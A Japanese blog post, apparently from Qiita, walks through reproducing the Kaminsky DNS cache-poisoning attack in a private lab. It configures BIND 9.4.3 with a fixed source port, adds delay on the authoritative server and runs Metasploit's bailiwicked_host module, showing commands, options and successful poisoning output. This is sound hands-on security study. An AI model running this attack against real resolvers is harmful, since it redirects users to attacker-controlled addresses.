Kaminsky Attackを試してみた


今更ながら、自分で試したことがなかったので試してみました。
特に攻撃の概要などは説明せず、ただ実験してみたという内容です。

#概要
Kaminsky Attackとは、2008年7月にBlackHat USAでダン・カミンスキー（Dan Kaminsky）氏が発表したDNSキャッシュポイズニングの新たな攻撃方法です。詳細は参考ページをご覧ください。
この攻撃方法が発見されたのはかなり昔ではありますが、実際に自分で毒を入れてみないと理解が浅いかなということで試してみました。
Kaminsky Attackは知っているものとして、実験の方法だけ書いておきます。

#参考
- https://www.nic.ad.jp/ja/materials/iw/2008/proceedings/H3/IW2008-H3-07.pdf
- https://www.nic.ad.jp/ja/newsletter/No40/0800.html
- http://www.e-ontap.com/dns/bindmatrix.html


#環境
環境としては、ほぼ参考ページ通りにやりました。
全てVagrantでVMを作成しました（全部Dockerでやれば良かったな、と後で思いました）。

- 被攻撃キャッシュサーバ（BIND）
	- 192.168.33.10
- ルートサーバ 兼 example.nom権威サーバ（tinydns）
	- 192.168.33.11
- 攻撃者サーバ（Metasploit Framework)
	- 192.168.33.12

以下のような感じです。
![Kobito.gTErow.png](https://qiita-image-store.s3.amazonaws.com/0/56222/c11f41c0-7383-3414-46d8-ed7dbe33b3ee.png "Kobito.gTErow.png")




#実験

## 被攻撃キャッシュサーバ（BIND）
参考ページによると、Kaminsky AttackはDNS自体の脆弱性ではなく実装の問題ということのようです。
BINDの特定のバージョンには毒を入れることが出来るようなので、今回は9.4.3を使ってみます。
被攻撃サーバではBINDを動かし、キャッシュDNSサーバとして動作させます。

### VMの用意
Vagrantで192.168.33.10を指定して起動します。
今回は予め用意しておいたCentOS 6.8のboxイメージを利用しました。

```
$ vagrant init centos68
$ vim Vagrantfile
config.vm.network "private_network", ip: "192.168.33.10"
$ vagrant up
$ vagrant ssh
```

これでVMの用意は完了です。

### Dockerのインストール
環境をDockerで作ったほうが後で楽だと思ったのでDockerで作成しました。
まず最初にDockerをインストールします。
インストール手順は以下などを参考にしてください。
http://qiita.com/zwirky/items/991f61a231f4e198a320


### Dockerコンテナの起動
他の環境でも実験しやすいように、Dockerイメージを作りました。
以下のコマンドで起動します。

```
# docker run -d -p 53:53/udp knqyf263/docker-kaminsky
```

これで準備は完了ですが、具体的に何をしたかも説明しておきます。
基本的には普通のBINDのインストール手順通りです。
自分でインストールしたい人は以下などを参考にしてください。
http://qiita.com/na0AaooQ/items/9ed548dd6db2a0c911c4

Dockerfileを見れば雰囲気はつかめると思います。
https://github.com/knqyf263/docker-kaminsky/blob/master/Dockerfile

#### ソースポートの固定
Kaminsky Attackでは毒を入れる際に問い合わせ時のポートを予想する必要があります。
ランダムだと試行回数が多くなってしまうため、簡単のため固定しておきます。
固定しなくても可能なはずです。

以下では10000番に固定しています。

```
$ vim /etc/named.conf
...
query-source address * port 10000;
```

#### hintファイルの更新
ルートDNSサーバとして自分の建てたサーバを見に行ってほしかったので、hintファイルを更新します。
今回では192.168.33.11に向けます。

```
$ vim /etc/cache.db
.                        3600000      NS    A.ROOT-SERVERS.NET.
A.ROOT-SERVERS.NET.      3600000      A     192.168.33.11
```

こうすることで何のドメイン名を問い合わせても、まずは192.168.33.11に問い合わせるようになるはずです。
そしてnamed.confにこのhintファイルを指定しておきます。

```
$ vim /etc/named.conf
...（略）...
zone "." {
        type hint;
        file "/etc/cache.db";
};

```

## ルートサーバ 兼 example.nom権威サーバ（tinydns）
権威DNSサーバの設定をします。
こちらはtinydnsを利用しましたが、tinydnsのDockerがあったのでそれを使いました。
zoneとして`.`と`example.com.`を管理することにします。
ルートDNSサーバとexample.com権威DNSサーバは分けても良かったのですが、一緒でも実験は可能かと思ったので一緒にしました。

### VMの用意
IPアドレス以外は上と同じです。
Vagrantで192.168.33.11を指定して起動します。
www.example.comは192.168.33.100など適当なIPアドレスを指定しました。

```
$ vagrant init centos68
$ vim Vagrantfile
config.vm.network "private_network", ip: "192.168.33.11"
$ vagrant up
$ vagrant ssh
```

### Dockerのインストール
上と同様にインストールします。

### Dockerコンテナの起動
以下のイメージを利用させていただきました。
https://github.com/skurtzemann/docker-tinydns

tinydns.dataファイルを作成してコンテナ起動時にマウントすれば良いようです。
nsとして自分を指定したかったので192.168.33.11にします。

```
$ vim tinydns.data
.:192.168.33.11:ns.toor.tss:518400
.example.com:192.168.33.11:ns.example.com:3600
+www.example.com:192.168.33.100
```

そしてこのファイルがある位置で以下のようにコマンドを打ちます。

```
$ docker run -d -v `pwd`:/data -p 53:53/udp skurtzemann/tinydns
```

これでtinydns自体は起動完了です。

### テスト
正しくexample.comのNSレコードが引けるか確認してみます。

```
[root@localhost vagrant]# dig @127.0.0.1 ns example.com

; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.47.rc1.el6_8.3 <<>> @127.0.0.1 ns example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 63977
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;example.com.                   IN      NS

;; ANSWER SECTION:
example.com.            3600    IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.example.com.         3600    IN      A       192.168.33.11

;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sun Dec 25 11:15:46 2016
;; MSG SIZE  rcvd: 62
```

192.168.33.11が返って来ているので問題なさそうです。
また、今回の攻撃対象であるBINDサーバに対しても問い合わせてみます。

```
[root@localhost vagrant]# dig @192.168.33.10 ns example.com +short
ns.example.com.
```

正しく設定できているようです（本来なら `a.iana-servers.net.` などが返される）。
これでDNSサーバの準備は完了です。

### 遅延の設定
権威DNSサーバからのレスポンスが遅いほうが攻撃が成功しやすいので、遅延を入れます。
Linuxなので`tc`コマンドを利用します。

```
$ sudo tc qdisc add dev eth1 root netem delay 200ms
```

上記では200msの遅延を入れました。
Vagrantで起動したらeth1が192.168.33.11に割当たっていたのでeth1を指定します。

被攻撃キャッシュサーバからpingを打ってみます。

```
[root@localhost ~]# ping -c 3 192.168.33.11
PING 192.168.33.11 (192.168.33.11) 56(84) bytes of data.
64 bytes from 192.168.33.11: icmp_seq=1 ttl=64 time=202 ms
64 bytes from 192.168.33.11: icmp_seq=2 ttl=64 time=202 ms
64 bytes from 192.168.33.11: icmp_seq=3 ttl=64 time=201 ms

--- 192.168.33.11 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2204ms
rtt min/avg/max/mdev = 201.991/202.143/202.381/0.170 ms
```

正しく200msの遅延が発生しています。

## 攻撃者サーバ（Metasploit Framework)
最後に攻撃者サーバを用意します。
Metasploit Framework（以下Metasploit）が利用したかったので、Kali Linuxを利用しました。

### VMの用意
事前に用意しておいたKali Linuxのboxイメージを利用します。

```
$ vagrant init kali
$ vim Vagrantfile
config.vm.network "private_network", ip: "192.168.33.12"
$ vagrant up
$ vagrant ssh
```

### 攻撃する
msfconsoleを起動したあと、bailiwicked_hostモジュールを利用します。

```
$ sudo msfconsole
msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) >
```

オプションは以下です。

```
msf auxiliary(bailiwicked_host) > show options

Module options (auxiliary/spoof/dns/bailiwicked_host):

   Name       Current Setting    Required  Description
   ----       ---------------    --------  -----------
   HOSTNAME   pwned.example.com  yes       Hostname to hijack
   INTERFACE                     no        The name of the interface
   NEWADDR    1.3.3.7            yes       New address for hostname
   RECONS     208.67.222.222     yes       The nameserver used for reconnaissance
   RHOST                         yes       The target address
   SNAPLEN    65535              yes       The number of bytes to capture
   SRCADDR    Real               yes       The source address to use for sending the queries (Accepted: Real, Random)
   SRCPORT                       yes       The target server's source query port (0 for automatic)
   TIMEOUT    500                yes       The number of seconds to wait for new data
   TTL        39223              yes       The TTL for the malicious host entry
   XIDS       0                  yes       The number of XIDs to try for each query (0 for automatic)
```

今回の攻撃対象は192.168.33.10なのでRHOSTに指定します。

```
msf auxiliary(bailiwicked_host) > set RHOST 192.168.33.10
RHOST => 192.168.33.10
```

キャッシュサーバのソースポートは10000番に固定したので、SRCPORTに指定します。
ただし、ここで1つ問題があります。ソースポートを固定したのはDockerのコンテナ内の話で、ホストから通信が出る際にNAPTされてしまいます。
そこで、先にポートを調べておきます。
まず被攻撃キャッシュサーバでdigなどでしつつ、ルートサーバで以下のようにtcpdumpをしておきます。

```
[root@localhost vagrant]# tcpdump -nnni eth1
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
14:27:05.069187 IP 192.168.33.10.10000 > 192.168.33.11.53: 9343 [1au] NS? . (28)
```

こうすると上記のように、被攻撃キャッシュサーバのソースポートが分かります。
今回は変換されず10000番ポートのままでした。
環境によっては異なるポートなどになるので調べてみてください。

```
msf auxiliary(bailiwicked_host) > set SRCPORT 10000
SRCPORT => 10000
```

今回はwww.example.comを汚染したいのでHOSTNAMEに指定します。

```
msf auxiliary(bailiwicked_host) > set HOSTNAME www.example.com
HOSTNAME => www.example.com
```

Vagrantでは192.168.33.12をeth1に割り当てているので、INTERFACEにはeth1を指定します。
最初これを指定していなかったため、eth0からパケットが出てしまってうまく行きませんでした。

```
msf auxiliary(bailiwicked_host) > set INTERFACE eth1
INTERFACE => eth1
```

次に、RECONSを指定します。
Kaminsky Attackではソースアドレスの偽装を行いますが、bailiwicked_hostモジュールでは自動で偽装するべきアドレスを探してくれます。
その際、example.comのNSレコードを引いてきて、そのアドレスに偽装するのですが、今回は本来のアドレスに偽装されると上手く行きません。
そこで、example.comのNSレコードを引く先を192.168.33.11に指定します。
192.168.33.11に問い合わせると、example.comのNSレコードは192.168.33.11が返されるので、192.168.33.11に偽装してくれるようになります。
（という理解ですが、もし違ってたらすみません。）

```
msf auxiliary(bailiwicked_host) > set RECONS 192.168.33.11
RECONS => 192.168.33.11
```

これで準備完了したので攻撃してみましょう。

```
msf auxiliary(bailiwicked_host) > run

[*] Targeting nameserver 192.168.33.10 for injection of www.example.com. as 1.3.3.7
[*] Querying recon nameserver for example.com.'s nameservers...
[*]  Got an NS record: example.com.            3600    IN      NS      ns.example.com.
[*]   Querying recon nameserver for address of ns.example.com....
[*]    Got an A record: ns.example.com.         3600    IN      A       192.168.33.11
[*]     Checking Authoritativeness: Querying 192.168.33.11 for example.com....
[*]     ns.example.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Calculating the number of spoofed replies to send per query...
[*]   race calc: 100 queries | min/max/avg time: 0.3/0.32/0.3 | min/max/avg replies: 291/651/516
[*] Sending 774 spoofed replies from each nameserver (1) for each query
[*] Attempting to inject a poison record for www.example.com. into 192.168.33.10:1025...
[*] Poisoning successful after 250 queries and 193500 responses: www.example.com == 1.3.3.7
[*] TTL: 39116 DATA: #<Resolv::DNS::Resource::IN::A:0x00000005936430>
[*] Auxiliary module execution completed
```

少し待つと上記のように攻撃が成功したことが分かります。
被攻撃サーバにwww.example.comを問い合わせると1.3.3.7が返されます。

```
[root@localhost ~]# dig @127.0.0.1 www.example.com +short
1.3.3.7
```

ただし、場合によっては時間がかかることもあります。

# まとめ
Kaminsky Attackを自分で検証してみました。
BIND 9.4.3ではMetasploitのモジュールを使って毒を入れることが出来ました。
実験ではソースポートを固定したので簡単でしたが、固定しないと割と時間がかかります。
他のバージョンではAdditional SectionのAレコードを受け入れないから毒が入らないということらしいので、次は別バージョンで試してみようと思います。